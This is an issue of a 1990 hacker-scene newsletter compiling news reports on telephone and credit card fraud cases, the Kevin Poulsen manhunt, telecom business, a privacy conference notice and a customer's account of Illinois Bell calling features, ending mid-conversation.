The indictments are the first criminal charges generated by Operation Mongoose, an ongoing Secret Service probe of credit card and long‑distance telephone access fraud. The charges allege that Faires has had access to a telephone since his arrest and imprisonment in Miami in 1986, an allegation that has prompted a separate probe by Miami authorities. That phone was used to make frequent calls to a building on Brookfield Road in Brookfield, Wis., where another alleged unindicted co‑conspirator, Fred Bregantini, operates various businesses, according to the indictment. The indictment said Faires and Fred Bregantini were "at the hub" of the telephone and credit card scam. The two men are accused of collecting credit card numbers and telephone access codes from other defendants in the case and using the numbers to purchase merchandise, services and "other things of value." Robertson said agents believe the members of the ring copied many of these stolen numbers from credit card receipts retrieved from the trash cans of various businesses. He said the practice, commonly called "dumpster diving," is a widely used method in credit card fraud. [`dumpster diving' eh? ‑DH]

While some of the defendants helped make purchases on the stolen cards, the indictment alleges that others provided addresses used for the shipment of the stolen goods. The goods included gold coins, plane tickets, computer equipment, tools and stereo equipment. Robertson said agents are still tallying the cost of the scam to Telco and other companies but that the damage has already climbed past $1 million. Herbert Howard, president of Telco, on Friday said the company lost from $35,000 to $40,000 in revenues from illegal calls and in additional expenses for researching Faires' use of access codes. "It was really a learning experience for us because this is the first time this has happened," Howard said about his 2‑year‑old company. "I think it's a fear of all long‑distance companies. It's very fortunate that we caught it as quickly as we did."

________________________________________

HEADLINE No, I'm not paranoid, but who is No. 1? Byline: DENISE CARUSO

Column: INSIDE SILICON VALLEY

DATE 08/21/90

SOURCE SAN FRANCISCO EXAMINER (SFEX)

Edition: FIFTH

Section: BUSINESS

Page: D‑16

(Copyright 1989)

THOUGH I didn't plan it that way, this week proved to be a perfect time to start renting old episodes of "The Prisoner" ‑ that very dark, very paranoid British spy series from the early '60s which foresaw a bleak future in which "een‑formation" was of paramount importance, no matter whose "side" you were on. Every well‑paid company representative from every telephone service provider in North America earned his or her keep this week, fielding calls from blood‑thirsty members of the press corps who also wanted "een‑formation" about whether or not the huge long‑distance snafu with AT&T was a "hack" (an illegal break‑in) or some form of computerized germ warfare.

I'm happy that the answer was "no," but of course the event opens a rather nasty can of worms: has AT&T's problem tipped off the hacker community that the phone network is vulnerable? "That's a very good question," said one network engineer I spoke with last week. But, he assured me, his network was totally secure and had all kinds of safeguards built in to prevent either outside penetration or the introduction of a software virus to the system. I hope he's right, but I must admit, I've heard that song before.

Here, for example, is an excerpt from an anonymous piece of electronic mail I received last week, slightly edited to correct grammatical imperfections: "It may be of interest to you to know, if I wanted to have "fun," "evil" deeds could be done by remote control, up to and including shutting down every ESS (electronic switching station) office in North America.

"Less evil and more fun might be to shut down the stock market for a day, scramble all transactions, or even send it down in a tail spin! Banks aren't immune either. This may sound very darkside, but people must have what is needed to fight back if things go bad!" Not disturbing enough? Try this one on for size: Back in July of '89, I wrote of a story in the premier issue of the magazine Mondo 2000 that detailed how one might set about hacking automatic teller machines (ATMs). That story contained everything but the blueprints for the device, which the magazine's editors didn't print because they thought it would be irresponsible to do so. But now, a student‑owned Cornell University publication called "Visions Magazine" ‑ for which Carl Sagan is creative adviser ‑ has asked the article's author, Morgan Russell, for rights to reprint the article in its entirety, including device blueprints.

These kinds of stories are disturbing, yet somehow I've always expected they would happen, a reaction that's similar to the way I feel when I watch "The Prisoner." No. 6, as he's called, cries out at the beginning of every episode, "I am not a number! I am a free man!" His will to resist is sufficient to fend off the authorities who believe their need for the "een‑formation" in No. 6's head gives them the right to try to control his movements and thoughts, using ‑ of course ‑ only the most impressive technology.

Of course, the science‑fiction fantasy of impressive technology in the '60s, when "The Prisoner" was created, was as authoritarian and centralized as the governments using it. Not many faceless authorities back then were predicting a near‑future where all classes of people had access to, could afford and knew how to use powerful technology. (I'm sure it would have ruined their supper if they had.) Neither did they envision today's growing class of technological sophisticates ‑ whether self‑taught PC hackers or trained computer scientists ‑ who, by virtue of their knowledge, could cripple, disable, or otherwise confound the system which spawned them. Have any opinion you'd like about the right or wrong of it. Fact is, whether it's the phone network or a bank teller machine, the more we rely on technology, the less we can rely on technology.

Though this fact can make life unpleasant for those of us who are victimized by either the machines we trust or the people who know how to fidget with them, there is something strangely comforting about knowing that, after all, a computer is still only as trustworthy as the humans who run it. Write

CONTACT:

Denise Caruso, Spectra, San Francisco Examiner

P.O Box 7260

San Francisco, CA 94120. (Denise

MCI Mail (Denise Caruso) ‑ CompuServe (73037,52) ‑ CONNECT (Caruso)

________________________________________

HEADLINE US Sprint to Supply Soviet Venture With Switches

DATE 09/17/90

SOURCE WALL STREET JOURNAL (WJ)

WASHINGTON ‑‑ US Sprint Communications Corp. said it obtained U.S. government approval to supply a Soviet joint venture with packet switches that can greatly improve telecommunications services between the Soviet Union and other countries. The imminent shipment of these switches was announced by William Esrey, chairman and chief executive officer of United Telecommunications Inc., shortly after completing a visit to the Soviet Union with Commerce Secretary Robert Mosbacher and the chief executives of other U.S. companies. United Telecommunications is the parent of US Sprint.

The export license that US Sprint expects to obtain as early as this week will be the first license for telecommunications equipment granted by the U.S. under the new, relaxed regulations for shipping technology to the Soviet Union, Esrey said. * The Soviet venture, Telenet USSR, will be owned by a US Sprint subsidiary, Sprint International, and the Soviet Ministry of Post and Telecommunications and the Larvian Academy of Sciences, a Soviet research group. The Commerce Department doesn't discuss details of individual license applications, but Mosbacher has publicly supported technology tie‑ups between the U.S. companies represented in his traveling group and potential Soviet partners. US Sprint appears to be leading the race among American telecommunications companies to establish solid ties in the Soviet Union. An earlier proposal by U S West Inc. to lay down part of an international fiber‑optic line across the Soviet Union was rejected by U.S. authorities because of the advanced nature of the technology.

US Sprint's packet switches, however, appear to be within the new standards for permissible exports to the Soviet Union. The switches are used to route telephone calls and control traffic in voice, facsimile and digitalized data transmission. These eight‑bit switches are one or two generations behind the comparable systems in use in Western countries, but are still good enough to sharply improve the ability of Sprint's Soviet customers to communicate with other countries, Esrey's aides said. The company declined to discuss the value of its investment or to disclose how many switches will be sold. US Sprint said its venture will operate through new, dedicated satellite lines that will augment the often‑congested 32 international lines that currently exist for Moscow‑based businesses. Esrey said he expects the venture to be in operation before the end of this year.

________________________________________

HEADLINE BT Tymnet Introduces Additional XLINK Services

DATE 09/09/90

SOURCE DOW JONES NEWS WIRE

SAN JOSE, Calif. ‑DJ‑ BT Tymnet Inc. said XLINK Express, a family of new, bundled, port‑based, synchronous X.25 (XLINKs) services, is available. The XLINK service offers customers lower cost X.25 host access to its TYMNET network, the company said in a news release. XLINKs are leased‑line private access port services for X.25 interfaces at speeds up to 19.2 bits per second and supporting up to 64 virtual circuits.

XLINK Express includes port access, leased line, modems, software, and free data transmission. Prior to XLINK Express, customers requiring a 9.6‑bit‑per‑second leased line for standard X.25 host connectivity would typically pay about $1,500 monthly for their leased line, modems and interface. With XLINK, customers can now be charged a monthly rate of $900, the company said.

BT Tymnet Inc. is a unit of British Telecom plc.

________________________________________

HEADLINE Hacker may be taunting the FBI; Whiz suspected of invading U.S. army computer

Credit: PENINSULA TIMES TRIBUNE

DATE 04/10/90

SOURCE Montreal Gazette (GAZ)

Edition: FINAL

Section: NEWS

Page: F16

Origin: PALO ALTO, Calif.

(Copyright The Gazette)

‑‑‑ Hacker may be taunting the FBI; Whiz suspected of invading

U.S. army computer ‑‑

PALO ALTO, Calif. ‑ The computer prodigy wanted on suspicion of invading a U.S. army computer may be taunting FBI agents by defiantly talking to his hacker buddies on electronic bulletin boards while he eludes a manhunt, authorities said. The mysterious Kevin Poulsen, a former Menlo Park, Calif., resident described by many as a computer genius, is outsmarting the FBI and apparently has the savvy to make this game of hide‑and‑seek a long contest.

No, investigators are not getting frustrated, FBI official Duke Diedrich said. "It's just a matter of time. We've got our traps and hopefully one day we'll be able to get the mouse." Authorities have issued an arrest warrant for the former SRI International computer expert. He has been at large since at least Jan. 18, when federal officials revealed allegations of a sensational computer conspiracy. The FBI says Poulsen, 24, is the mastermind of a complex computer and telephone‑system invasion that included breaking into an unclassified army computer network, snooping on the FBI and eavesdropping on the calls of a former girlfriend. FBI agents believe he may be in southern California, but because he is apparently still hooked up to a national network of hackers, he could be using his friends to hide just about anywhere, Diedrich said. Poulsen is adept at manufacturing false identification and knows how to use the phone system to cover traces of his calls.

Agents believe his hacker talk on electronic bulletin boards is perhaps "a way of taunting law enforcement officials," Diedrich said. Poulsen may be back to his old tricks, but "he's not hiding with the usual bunch of hackers," said John Maxfield, a computer security consultant and former FBI informant.

Maxfield, known nationally as a "narc" among young hackers, said he had underground sources who said Poulsen was rumored to be living alone in a southern California apartment. Poulsen's computer chatter could lead to his downfall, Maxfield said. Many hackers are electronic anarchists who would be happy to turn in a high‑ranking hacker, thereby pushing themselves up the status ladder, he said. But Poulsen probably has access to a steady flow of cash, so he doesn't have to get a job that might lead to his arrest, Maxfield said.

With his expertise, Poulsen could easily crack the bank computers that validate cash transactions and then credit his own accounts, Maxfield said. The FBI isn't desperate, but agents have contacted America's Most Wanted, a television show that asks viewers to help authorities find fugitives.

Poulsen's mother, Bernadine, said her son called home just after police announced there was a warrant for his arrest, but he had not called since. During the brief call, "He just apologized for all the stress he was causing us." The fugitive's motivation baffles Maxfield.

The self‑described "hacker tracker" has conducted investigations that have led to dozens of arrests, but the Poulsen‑contrived conspiracy as alleged by the FBI is strange, he said. Most teen‑age hackers are thrill seekers, he explained. The more dangerous the scam, the bigger the high. But Poulsen is 24. "Why is he still doing it?" Maxfield asked.

Poulsen, alias "Dark Dante" and "Master of Impact," was a member of an elite hacker gang called Legion of Doom. [Poulsen was never a member of the group ‑DH]

The 25 or so mischievous members are now being arrested one by one, Maxfield said. They consider themselves misfits, but smart misfits who are superior to the masses of average people who have so labelled them, he said. [Baha, Maxfield really cracks me up ‑DH]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Kevin recently had a 15 minute television debut on NBC's "Unsolved Mystries". The program showed renactments of Kevin breaking into CO's and walking around his apartment filled with computers and other 'listening' devices (as the show called them).

I personally got a kick out of the photographs he took of himself holding switching equipment after a break‑in at a CO.

________________________________________

HEADLINE Amtrak Gets Aboard SDN

Byline: BETH SCHULTZ

DATE 10/25/90

SOURCE COMMUNICATIONS WEEK

Issue: 267

Section: PN

Page: 58

(Copyright 1989 CMP Publications, Inc. All rights reserved.)

WASHINGTON ‑ Amtrak, always looking for ways to reduce the amount of government funding it takes to keep it on track, has switched its long distance traffic onto a virtual private network‑taking advantage of an AT&T promotion that saved the railroad $250,000. Though Amtrak realized the cost‑savings potential of AT&T's Software Defined Network (SDN) as early as May 1987, it took until last spring for the company to move full‑speed ahead with implementation of that virtual private network service. "We had led the horse to water, but we couldn't make it drink," said Jim West, an AT&T national systems consultant.

But in April of this year, AT&T removed the last obstacle in the railroad's way, said Amtrak's chief network engineer Matt Brunk. At that time, AT&T began running a special promotion that waived the installation fee for connecting sites to the SDN. Until then, Amtrak, based here, could only afford adding locations piecemeal.

Plagued by network abuse, Amtrak began tracking the potential of SDN as a means of solving that problem as soon as AT&T announced its SDN rates in December 1986. Describing the severity of its toll‑fraud problem, Brunk told of a seven‑day stint in 1985 during which hackers tallied $185,000 in unauthorized charges. By the end of that year, toll fraud on Amtrak's network reached in excess of $1 million.

Before the days of the virtual private network, the only way to clean up this abuse was through a toll‑free "800" service configuration and PBX remote access, which Amtrak implemented at the end of 1985. "We changed the policy and procedures for all users, limiting the capabilities of remotaccess," Brunk said.

But Amtrak needed to further patrol its network, and after studying AT&T's SDN, as well as competitive offerings, the railroad ordered in May 1987 the first portion of what would this year become a 300‑site SDN. The initial order included AT&T Accunet T1.5 circuits for just two stations, one in Chicago and one here. Used to replace the 800 service, these 1.544‑megabit‑per‑second direct connections were used to "provide secure remote access to on‑net numbers for numerous users," Brunk said.

Equally important, Amtrak also signed up for the Network Remote Access Fraud Control feature, which gives it a single point of control over the network. "What Amtrak ordered then was not really a network, because it was feature‑specific," said AT&T national account manager Sharon Juergens.

The company has not billed back or dropped any toll fraud since it began using the SDN remote access feature, Brunk said. "Anyone with PBX remote‑access capability and :heavy! volume not using SDN as a vehicle is doing their company a disservice."

Originally a beta‑test site for the SDN's security‑report feature, Amtrak has since come to rely heavily on that option, too. With the exception of some group codes, a warning is sent if spending on any user code exceeds $60 per month. "We begin investigating immediately," Brunk said. "We are now proactive, instead of reactive."

Today, 40 Amtrak locations have switched‑access connections to the SDN; 260 sites are linked through dedicated means, whether through voice‑grade analog circuits or high‑speed T1s. "The users' traffic is discounted, on a single billing statement, and in effect, :the SDN! links them to the company. This is our corporate communications glue," Brunk said. "But this is only the beginning. Not only have we provided a service, but also we have provided a bright future. We have set ourselves up for competitive gain." Spending Stabilized And the company has stabilized telecommunications expenditures. In 1985, Amtrak spent $26 million on telecom equipment and services. Four years later, Brunk estimated the railroad will spend just $1 million more. He said contributing factors to this will be the SDN, upgrading from outdated analog PBXs to digital PBXs and replacing some PBX installations with local Bell‑provided centrex service. Network savings resulting from reduced call‑setup time alone, Brunk added, will reach $74,000 this year.

"In a nutshell, we have improved transmission quality, network management and maintenance, and reduced costs," Brunk said. "The users have gained a single authorization code accessing multiple applications, improved quality and support."

Cost savings aside, Amtrak also took into consideration applications available off the SDN. "At the time, of what was available, we really liked everything about SDN," Brunk said.

The Amtrak network is supported by the dedicated access trunk testing system. This system lets Amtrak test access lines, thus aiding the company in activating and deactivating authorization codes. And Amtrak is testing the AT&T Alliance dedicated teleconferencing service.

With the teleconferencing service, Amtrak can reduce internal travel expenditures: Users can access the system remotely via an 800 number, or on demand. Amtrak operators can connect teleconferencing calls at any time. "The quality is fantastic, but the cost is even better because it's all connected to the SDN," said Brunk.

Knight Line I Part 2

KL ^*^ KL ^*^ KL ^*^ KL ^*^ KL

K N I G H T L I N E

Issue 01/Part II of III

17th of November, 1990

Written, compiled,

and edited by Doc Holiday

KL ^*^ KL ^*^ KL ^*^ KL ^*^ KL

‑‑

F R O M T H E W I R E

________________________________________

HEADLINE ADAPTING DIGITAL SWITCH ‑‑ Fujitsu To Expand In U.S. Byline: ROBERT POE

DATE 11/15/90

SOURCE COMMUNICATIONSWEEK (CWK)

Issue: 322

Section: PUBLIC NETWORKING

Page: 33

(Copyright 1990 CMP Publications, Inc. All rights reserved.)

RALEIGH, N.C.‑Fujitsu Ltd. is boosting efforts to adapt its digital exchange to the U.S. network, in anticipation of the $40 billion public switch changeout expected in the United States over the next 10 to 15 years.

Fujitsu plans to increase the number of U.S. staff members in charge of selling and engineering the Fetex‑150 switch to 600 by 1994 from the current 100, officials at the Tokyo‑based company said.

The increase will shift development of sophisticated switch features from Japan to the United States, said one observer familiar with Fujitsu Network Switching of America Inc., based here.

FILLING U.S. NEEDS

Most of the current staff there is working on testing the performance and network conformance of software developed in Japan, the observer said. With the expansion, the subsidiary will be responsible for developing functions and capabilities required by U.S. customers.

The Fetex‑150 is Fujitsu's export‑model exchange switch, with more than 8.8 million lines installed or on order in 17 countries. None have been sold in the United States, but the recently announced plans confirm longstanding speculation that the Japanese manufacturer is planning a major push into the U.S.

When Fujitsu won a major switch tender in Singapore last autumn, competitors complained it was selling the equipment at cost to win a prestigious contract that would serve as a stepping‑stone to the United States.

WOOING THE BELLS

Fujitsu said its switch has passed Phase 1 and Phase 2 evaluations by Bell Communications Research Inc., Livingston, N.J., the research arm of the seven U.S. regional Bell companies. Although the Bellcore certification is considered essential to selling to the Bells‑which account for about 75 percent of U.S. telephone lines‑it may not be enough for the company to break into a market dominated by AT&T and Nashville, Tenn.‑based Northern Telecom Inc.

Those two manufacturers have more than 90 percent of the U.S. market. A share like that, coupled with Bell company inertia in changing to new suppliers, leaves foreign public switch manufacturers largely out in the cold, analysts said.

The U.S. subsidiaries of Siemens AG, L.M. Ericsson Telephone Co., NEC Corp. and GEC Plessey Telecommunications Ltd. have found the U.S. market tough to crack, though each has had limited success and is further along than Fujitsu.

`INHERENT CONSERVATISM'

"There's an inherent conservatism on the part of their {U.S.} customer base," said Robert Rosenberg, director of analytical services at The Eastern Management Group, Parsippany, N.J. "These are huge companies with billions of dollars invested in their current equipment.

"Even if Fujitsu comes up with a switch that has all the bells and whistles that an engineer could ever want, if all the support systems have to be rebuilt in order to fit that switch into the network, his manager won't let him install it," Rosenberg said.

________________________________________

Telephone Services: A Growing Form Of "Foreign Aid"

Keith Bradsher, {The New York Times}, Sunday, October 21, 1990 (Business section, page 5)

Americans who make international telephone calls are paying extra to subsidize foreign countries' postal rates, local phone service, even schools and armies.

These subsidies are included in quarterly payments that American telephone companies must make to their counterparts overseas, most of these are state‑owned monopolies. The net payments, totaling $2.4 billion last year, form one of the fastest‑growing pieces of the American trade deficit, and prompted the Federal communications Commission this summer to begin an effort that could push down the price that consumers pay for an international phone call by up to 50 percent within three years.

The imbalance is a largely unforeseen side effect of the growth of competition in the American long‑distance industry during the 1980's. The competition drove down outbound rates from the United States, while overseas monopolies kept their rates high.

The result is that business and families spread among countries try to make sure that calls originate in the United States. Outbound calls from the United States now outnumber inbound calls by 1.7‑to‑1, in minutes ‑‑ meaning American phone companies have to pay fees for the surplus calls. The F.C.C. is concerned that foreign companies are demanding much more money than is justified, given the steeply falling costs of providing service, and proposes to limit unilaterally the payments American carriers make.

Central and South American countries filed formal protests against the F.C.C.'s plan on October 12. Although developed countries like Britain and Japan account for more than half of United States international telephone traffic, some of the largest imbalances in traffic are with developing countries, which spend the foreign exchange on everything from school systems to weapons. The deficit with Columbia, for example, soared to $71 million last year.

International charges are based on formulas assigning per‑minute costs of receiving and overseas call and routing it within the home country. But while actual costs have dropped in recent years, the formulas have been very slow to adjust, if they are adjusted at all. For example, while few international calls require operators, the formulas are still based on such expenses.

Furthermore, the investment required for each telephone line in an undersea cable or aboard a satellite has plummeted with technological advances. A trans‑Pacific cable with 600,000 lines, announced last Wednesday and scheduled to go into service in 1996, could cost less than $1,000 per line.

Yet the phone company formulas keep charges high. Germany's Deutsche Bundespost, for example, currently collects 87 cents a minute from American carriers, which actually lose money on some of the off‑peak rates they offer American consumers.

MORE CALLS FROM THE U.S. ARE GENERATING A GROWING TRADE DEFICIT

U.S. telephone companies charge less for 1980 0.3 (billions of overseas calls than foreign companies 1981 0.5 U.S. dollars) charge for calls the United States. So 1982 0.7

more international calls originate in the 1983 1.0

United States. But the U.S. companies pay 1984 1.2

high fees to their foreign counterparts for 1985 1.1

handling those extra calls, and the deficit 1986 1.4

has ballooned in the last decade. 1987 1.7

1988 2.0

1989 2.4 (estimate)

(Source: F.C.C.)

THE LONG DISTANCE USAGE IMBALANCE

Outgoing and incoming U.S. telephone traffic, in 1988, the latest year for which figures are available, in percent.

Whom are we calling? Who's calling us?

Total outgoing traffic: Total incoming traffic:

5,325 million minutes 3,155 million minutes

Other: 47.9% Other: 32.9%

Canada: 20.2% Canada: 35.2%

Britain: 9.1% Britain: 12.6%

Mexico: 8.8% Mexico: 6.2%

W. Germany: 6.9% W. Germany: 5.4%

Japan: 4.4% Japan: 4.3%

France: 2.7% France: 3.4%

(Source: International Institute of Communications)

COMPARING COSTS: Price range of five‑minute international calls between the U.S. and other nations. Figures do not include volume discounts.

Country From U.S.* To U.S.

Britain $2.95 to $5.20 $4.63 to $6.58

Canada (NYC to $0.90 to $2.25 $1.35 to $2.26

Montreal)

France $3.10 to $5.95 $4.72 to $7.73

Japan $4.00 to $8.01 $4.67 to $8.34

Mexico (NYC to $4.50 to $7.41 $4.24 to $6.36

Mexico City)

West Germany $3.10 to $6.13 $10.22

* For lowest rates, callers pay a monthly $3 fee.

(Source: A.T.&T.)

WHERE THE DEFICIT FALLS: Leading nations with which the United States has a trade deficit in telephone services, in 1989, in millions of dollars.

Mexico: $534

W. Germany: 167

Philippines: 115

South Korea: 112

Japan: 79

Dominican Republic: 75

Columbia: 71

Italy: 70 (Source: F.C.C.)

Israel: 57

Britain: 46

THE RUSH TOWARD LOWER COSTS: The cost per telephone line for laying each of the eight telephone cables that now span the Atlantic Ocean, from the one in 1956, which held 48 lines, to the planned 1992 cable which is expected to carry 80,000 lines. In current dollars.

1956 $557,000

1959 436,000

1963 289,000

1965 365,000

1970 49,000

1976 25,000

1983 23,000 (Source, F.C.C.)

1988 9,000

1992 5,400 (estimate)

________________________________________

A few notes from Jim Warren in regards to the CFP conference:

Greetings,

Some key issues are now settled, with some minor remain for resolution.

CONFERENCE DATES, LOCATION & MAXIMUM SIZE

We have finally completed site selection and contracted for the Conference facility. Please mark your calendars and spread the word:

First Conference on Computers, Freedom & Privacy March 25‑28,1991, Monday‑Thursday SFO Marriott, Burlingame, California (just south of San Francisco International Airport; on the San Francisco Peninsula, about 20 minutes from "The City") maximum attendance: 600

PLEASE NOTE NAME CHANGE

We have found *ample* issues for a very robust Conference, limited only to computer‑related issues of responsible freedom and privacy. After questions regarding satellite surveillance, genetic engineering, photo traffic radar, wireless phone bugs, etc., we decided to modify the Conference title for greater accuracy. We have changed it from "Technology, Freedom & Privacy" to "Computers, Freedom & Privacy."

ONE MORE NIT TO PICK

Until recently, our draft title has included, "First International Conference".

We most definitely are planning for international participation, especially expecting presentations from EEC and Canadian privacy and access agencies. These will soon have significant impacts on trans‑border dataflow and international business communications.

However, we were just told that some agencies require multi‑month clearance procedures for staff attending any event with "International" in its title.

**Your input on this and the minor issue of whether to include "International" in our Conference title would be appreciated.**

ATTRIBUTION (BLAME)

We are building the first bridge connecting the major, highly diverse villages of our new electronic frontier. Such construction involves some degree of exploration and learning.

These title‑changes are a result of that learning process. Please attribute all responsibility for the fluctuating Conference title to me, personally. I am the one who proposed the first title; I am the one who has changed it to enhance accuracy and avoid conflict.

Of course, the title will be settled and finalized (with your kind assistance) before the Conference is formally announced and publicity statements issued ‑soon!

Thanking you for your interest and continued assistance, I remain, Sincerely,

Jim Warren, CFP Conf Chair

jwarren@well.ca.sf.us

________________________________________

[Reprented from TELECOM digest. ‑‑DH]

FROM: Patrick Townson <telecom@eecs.nwu.edu> SUBJECT: Illinois Bell Shows Real CLASS

For several months now, Illinois Bell has been hawking CLASS. Brochures in the mail with our bills and newspaper advertisements have told us about the wonderful new services soon to be offered.

It was just a question, they said, of waiting until your central office had been converted. The new features being offered are:

*66 Auto Call Back: Call back the last number which called you. No need to know the number.

*69 Repeat Dial: If the number you dialed was busy, punching this will keep trying the number for up to 30 minutes, and advise you when it can connect.

*60 Call Screening Enter:

# plus number to be screened out plus # * plus number to be re‑admitted plus * # plus 01 plus # to add the number of the last call you received, whether or not you know the number. 1 To play a list of the numbers being screened. 0 For a helpful recording of options, etc.

Distinctive Ringing Up to ten numbers can be programmed in. When a call is received from one of these numbers, your phone will give a special ring to advise you.

Multi‑Ring Service Two additional numbers can be associated with your number. When someone dials one of these two numbers, your phone will give a special ring.

With both Distinctive Ringing and Multi‑Ring Service, if you have Call Waiting, the Call Waiting tones will be different from the norm also, so that you can tell what is happening. With Multi‑Ring Service, you can have it programmed so the supplementary numbers associated with your main number are forwarded when it is forwarded, or do not observe forwarding, and 'ring through' despite what the main number is doing.

Alternate Answer Can be programmed so that after 3‑7 rings, the unanswered call will be automatically sent to another line *WITHIN YOUR CENTRAL OFFICE*.

If the number assigned as an alternate is itself busy or forwarded OUTSIDE YOUR OFFICE then Alternate Answer will not forward the call and continue to ring unanswered.

Transfer on Busy/ This is just another name for 'hunt'. The No Answer difference is that hunt is free; Transfer on Busy/NA costs a couple bucks per month. Like Alternate Answer, it must forward only to a number on the same switch. Unlike hunt, it will work on NA as well. Unlike Alternate Answer, it works on busy as well.

Caller*ID will be available 'eventually' they say.

Now my story begins:

From early this summer to the present, I've waited patiently for CLASS to be available in Chicago‑Rogers Park. Finally a date was announced: October 15 the above features would be available. In mid‑September, I spoke with a rep in the Irving‑Kildare Business Office. She assured me *all* the above features would be available on October 15. My bill is cut on the 13th of each month, and knowing the nightmare of reading a bill which has had changes made in mid‑month (page after page of pro‑rata entries for credits on the old service, item by item; pro‑rata entries for the new service going in, etc) it made sense to implement changes on the billing date, to keep the statement simple.

She couldn't write the order for the service to start October 13, since CLASS was not officially available until the fifteenth. Well, okay, so its either wait until November 13 or go ahead and start in mid‑month, worrying about reading the bill once it actually arrives.

I've been ambivilent about CLASS since it is not compatible with my present service 'Starline', but after much thought ‑‑ and since all installation and order‑writing on Custom Calling features is free now through December 31! ‑‑ I decided to try out the new stuff.

She took the order Wednesday afternoon and quoted 'sometime Thursday' for the work to be done. In fact it was done ‑‑ or mostly done ‑‑ by mid‑afternoon Thursday. But I should have known better. I should have remembered my experience with Starline three years ago, when it took a technician in the central office *one week* to get it all in and working correctly. Still, I took IBT's word for it.

I got home about 5:30 PM Thursday. *You know* I sat down right away at the phone to begin testing the new features! :) The lines were to be equipped as follows:

Line 1: Call Waiting Line 2: Call Forwarding Three Way Calling Speed Dial 8 Call Forwarding Busy Repeat Dialing *69 Speed Dial 8

Auto Call Back *66 (second line used mostly by modem; Busy Repeat Dialing *69 so Call Waiting undesirable) Call Screening *60

Alternate Answer (supposed to be programmed to Voice Mail; another CO; another area code U708e; even another telco UCentele).

Busy Repeat Dialing did not work on the second line (not installed) and Alternate Answer worked (but not as I understood it would) on the first line. Plus, I had forgotten how to add 'last call received' to the screening feature.

It is 5:45 ... business office open another fifteen minutes ... good! I call 1‑800‑244‑4444 which is IBT's idea of a new way to handle calls to the business office. Everyone in the state of Illinois calls it, and the calls go wherever someone is free. Before, we could call the business office in our neighborhood direct ... no longer.

I call; I go on hold; I wait on hold five minutes. Finally a rep comes on the line, a young fellow who probably Meant Well ...

After getting the preliminary information to look up my account, we begin our conversation:

Me: You see from the order the new features put on today?

Him: Yes, which ones are you asking about?

Me: A couple questions. Explain how to add the last call received to your call screening.

Him: Call screening? Well, that's not available in your area yet. You see, it will be a few months before we offer it.

Me: Wait a minute! It was quoted to me two days ago, and it is on the order you are reading now is it not?

UI read him the order number to confirm we had the same one.e

Him: Yes, it is on here, but it won't work. No matter what was written up. Really, I have to apologize for whoever would have taken your order and written it there.

Me: Hold on, hold on! It *is* installed, and it *is* working! I want to know how to work it.

Him: No it is not installed. The only features we can offer you at at this time are Busy Redial and Auto Callback. Would you like me to put in an order for those?

Me: Let's talk to the supervisor instead.

Him: (in a huff) Gladly sir.

Supervisor comes on line and repeats what was said by the rep: Call Screening is not available at this time in Chicago‑Rogers Park.

At this point I am furious ...

Me: Let me speak to the rep who took this order (I quoted her by name.)

Supervisor: I never heard of her. She might be in some other office.

Me: (suspicious) Say, is this Irving‑Kildare?

Supervisor: No! Of course not! I am in Springfield, IL.

Me: Suppose you give me the name of the manager at Irving‑Kildare then, and I will call there tomorrow. (By now it was 6 PM; the supervisor was getting figity and nervous wanting to go home.)

Supervisor: Here! Call this number tomorrow and ask for the manager of that office, 1‑800‑244‑4444.

Me: Baloney! Give me the manager's direct number!

Supervisor: Well okay, 312‑xxx‑xxxx, and ask for Ms. XXXX.

Me: (suspicious again) She is the manager there?

Supervisor: Yes, she will get you straightened out. Goodbye!

Comes Friday morning, I am on the phone a few minutes before 9 AM, at the suggested direct number. Ms. XXXX reviewed the entire order and got the Busy Repeat Dial feature added to line two ... but she insisted the original rep was 'wrong for telling you call screening was available ..' and the obligatory apology for 'one of my people who mislead you'. I patiently explained to her also that in fact call screening was installed and was working.

Manager: Oh really? Are you sure?

Me: I am positive. Would you do me a favor? Call the foreman and have him call me back.

Manager: Well, someone will call you later.

Later that day, a rep called to say that yes indeed, I was correct. It seems they had not been told call screening was now available in my office. I told her that was odd, considering the rep who first took the order knew all about it.

I asked when the Alternate Answer 'would be fixed' (bear in mind I thought it would work outside the CO, which it would not, which is why it kept ringing through to me instead of forwarding.)

She thought maybe the foreman could figure that out.

Maybe an hour later, a techician did call me to say he was rather surprised that call screening was working on my line. He gave a complete and concise explanation of how Alternate Answer and Transfer on Busy/No Answer was to work. He offered to have it removed from my line since it would be of no value to me as configured.

One question he could not answer: How do you add the last call received to call screening? He could find the answer nowhere, but said he would see to it I got 'the instruction booklet' in the mail soon, so maybe I could figure it out myself.

I got busy with other things, and put the question aside ... until early Saturday morning when I got one of my periodic crank calls from the same number which has plagued me for a couple months now with ring, then hangup calls on an irregular basis.

For the fun of it, I punched *69, and told the sassy little girl who answered the phone to quit fooling around. She was, to say the least, surprised and startled by my call back. I don't think I will hear from her again. :)

But I decided to ask again how to add such a number to call screening, so I called Repair Service.

The Repair Service clerk pulled me up on the tube *including the work order from two days earlier* and like everyone else said:

Repair: You don't have Call Screening on your line. That is not available yet in your area. We are adding new offices daily, blah, blah.

I *couldn't believe* what I was hearing ... I told her I did, and she insisted I did not ... despite the order, despite what the computer said. Finally it was on to her supervisor, but as it turned out, her supervisor was the foreman on duty for the weekend. Like the others, he began with apologies for how I 'had been misinformed' ... no call screening was available.

Me: Tell ya what. You say no, and I say yes. You're on the test board, no? I'll hang up. You go on my line, dial *60, listen to the recording you hear, then call me back. I will wait here. Take your time. When you call back, you can apologize.

Foreman: Well, I'm not on the test board, I'm in my office on my own phone.

Me: So go to the test board, or pick me up in there wherever it is handy and use my line. Make a few calls. Add some numbers to the call screening; then call me back with egg on your face, okay?

Foreman: Are you saying call screening is on your line and you have used it?

Me: I have used it. Today. A few minutes ago I played with it.

Foreman: I'll call you back.

(Fifteen minutes later) ...

Foreman: Mr. Townson! Umm ... I have been with this company for 23 years. I'll get to the point: I have egg on my face. Not mine really, but the company has the egg on the face. You are correct; your line has call screening.

Me: 23 years you say? Are you a member of the Pioneers?

Foreman: (surprised) Why, uh, yes I am.

Me: Fine organization isn't it ...

Foreman: Yes, it certainly is. You know of them?

Me: I've heard a few things.

Foreman: Look, let me tell you something. I did not know ‑‑ nor *did anyone in this office know* that call screening was now available. We were told it was coming, that's all.

Me: You mean no one knew it was already in place?

Foreman: No, apparently not ... I think you are the only customer in the Rogers Park office who has it at this time. Because the assumption was it was not yet installed, the reps were told not to take orders for it ... I do not know how your order slipped through.

Me: Will you be telling others?

